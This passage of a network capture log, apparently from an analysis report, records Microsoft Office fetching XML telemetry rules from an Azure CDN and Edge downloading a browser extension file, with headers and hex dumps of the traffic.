2024-11-12 12:35:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	51549	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:29 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:29 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 72e3f643-801e-007b-5dd2-2ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123529Z-16547b76f7flf9g6hC1DFWmcx8000000066g000000005hhb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:30 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	51552	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:29 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:29 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123529Z-16547b76f7f7jnp2hC1DFWfc300000000fn0000000009xuf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:30 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	51553	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:29 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 1e588634-b01e-003e-24a1-348e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123530Z-15869dbbcc6lq45jhC1DFWtecs00000001bg000000006fv5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	51551	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:29 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 229e582e-901e-0083-26d2-2cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123529Z-16547b76f7f7rtshhC1DFWrtqn0000000fqg0000000064yt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	51576	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:31 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:31 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:31 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: f6eefceb-a01e-001e-33a0-3449ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123531Z-17df447cdb5g2j9ghC1DFWuyag000000061000000000d1q9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:31 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	51577	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:31 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:31 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 88f0b540-e01e-0033-5da0-344695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123531Z-15869dbbcc6b2ncxhC1DFWuw0400000001cg0000000089dv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:31 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	51578	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:31 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:31 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 31833cf5-a01e-0070-33a3-34573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123531Z-17df447cdb5fh5hghC1DFWam040000000900000000007nd7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:31 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	51579	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:31 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:31 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 3b18ef07-001e-0028-3ba8-34c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123531Z-17df447cdb5c9wvxhC1DFWn08n0000000c6000000000dkgy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:31 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	51575	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:31 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:31 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6028abc9-b01e-0002-6508-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123531Z-16547b76f7fdtmzhhC1DFW6zhc00000004hg000000004y7s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:31 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	51574	142.250.186.33	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:31 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 12:35:31 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY0GkvHhk2fe-WEcJJ_nA6Rkxma9OWZFvSN9bVkDiuDy_iOqPoshpbDpZl8I77_jvWIrRQGo35mZtg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Mon, 11 Nov 2024 20:33:29 GMT Expires: Tue, 11 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 57722 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-12 12:35:31 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-12 12:35:31 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-12 12:35:31 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: 